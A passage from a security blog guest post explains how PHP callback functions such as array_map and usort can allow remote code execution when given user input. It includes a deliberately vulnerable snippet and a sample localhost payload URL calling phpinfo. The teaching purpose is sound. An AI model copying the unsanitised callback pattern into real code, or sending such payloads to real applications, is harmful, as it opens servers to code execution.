just be vulnerable to Remote Code Execution (RCE) using malicious payloads by users of the application you trust.<br /><br />Developers can use array functions to apply some list of properties to data or reverse. In most cases applying functions are predefined, and these types of vulnerabilities are not ‘almost’ known to the public or is limited by knowledge.<br /><br />Anyway, These are the array functions I had been dealing with which could lead to RCE:</div><div style="text-align: left;"><br /></div><blockquote>    array_intersect_uassoc(), usort(), uksort(), array_filter(),<br />    array_diff_uassoc(), array_diff_ukey(), array_reduce(),<br />    array_udiff(), array_udiff_assoc(), array_udiff_uassoc(),<br />    array_intersect_assoc(), array_uintersect(), array_uintersect_assoc(),<br />    array_uintersect_uassoc(), array_walk(), array_walk_recursive() ,<br />    uasort(), array_map()</blockquote><div style="text-align: left;"><br />In short, don’t use those with a user supplied input unless sanitized properly in PHP. The formula for an almost secure web application is to never trust input from users!<br /><br />Let’s take the last function for an example (array_map) and exploit it:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">     <?php<br />    $evil =$_GET['name'];<br />    $some_array=array(0,1,2,3);<br />    $new_array=array_map($evil,$some_array);<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy9mvT00S_hA2AvLPlnrWoI5L77wOmCr33kO3dFheVsK_foOO4jADWeKBcipMLmSmdw82LvdKkKfiiKlzKMRHUUHZ1rs_Zl4PpBytMpYw7lriOpu39pxJ8pfiNbOIsog5bRErL0BkVkc77/s1600/6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy9mvT00S_hA2AvLPlnrWoI5L77wOmCr33kO3dFheVsK_foOO4jADWeKBcipMLmSmdw82LvdKkKfiiKlzKMRHUUHZ1rs_Zl4PpBytMpYw7lriOpu39pxJ8pfiNbOIsog5bRErL0BkVkc77/s1600/6.PNG" /></a></div><br /><div style="text-align: left;"><br />Honestly, this is a rare snippet of code but just to prove the point behind mysterious remote code execution attacks, grab me an opportunity to explain what it does! It receives a parameter called ‘name’ via GET request and use this parameter to map it into an array called ‘$some_array’. But the function is also designed to execute call backs to functions. Developers using insecure coding practices do not realize this, thus leading to RCE exploitation with exploits like the following demonstrated:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">    http://localhost/index.php?name=phpinfo</blockquote><div style="text-align: left;"><br />The payload ‘phpinfo’ will be executed and the resultant would be a remote code execution bug which persists due to insecure coding practices. This theory is practical but there is a limitation. The limitation being, only we can call already written functions like phpinfo() or uname() but can’t write a code to be executed other than call functions.<br /><br />These other functions are using callbacks, but they are not array based like previous once. They can however be used to create situations like demonstrated before in this article, so do not use them in user supplied input.</div><div style="text-align: left;"><br /></div><blockquote>    stream_filter_register(), set_error_handler()<br />    register_shutdown_function(), register_tick_function()</blockquote><div style="text-align: left;"><br />And some other XML functions by default enabled in php:</div><div style="text-align: left;"></div><ul style="text-align: left;"><li>·xml_set_character_data_handler()</li><li>·xml_set_element_handler()</li><li>·xml_set_end_namespace_decl_handler()</li><li>·xml_set_external_entity_ref_handler()</li><li>·xml_set_notation_decl_handler()</li><li>·xml_set_default_handler()</li></ul><div style="text-align: left;"><br /> or pretty much, xml_set_*_*()<br /><br />Remember: function call backs/functions using them are good! However in certain cases they are very bad for the logic of the application to behave as we had witnessed in this article. Most of the issues covered weren’t vulnerabilities. Infact, they were features of PHP. But, from improper usages of these *features*, the worse can happen and could lead to existence of potential vulnerabilities tossing up an opportunity for a <a href="http://blog.czarsecurities.com/1077/9-5-job-is-too-old-school-for-a-hacker-meet-shritam-bhowmick/" target="_blank">web attacker</a> to compromise the security of an application. Please be wise and read the manual of a (new) function before implementing in on a practical code and running them on production servers.<br /><br />Happy Hacking!</div><h4 style="text-align: left;">About the Author </h4><div style="text-align: left;">This following article is a guest post by Paulos Yibelo. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security <a href="http://paulosyibelo.blogspot.com/" target="_blank">http://paulosyibelo.blogspot.com/</a>.</div></div>

Indepth Code Execution in PHP: Part Two

This is a continued post from Code Execution in PHP; you can read the first post here , so if you haven't read that before please go ahe...

+ Read more »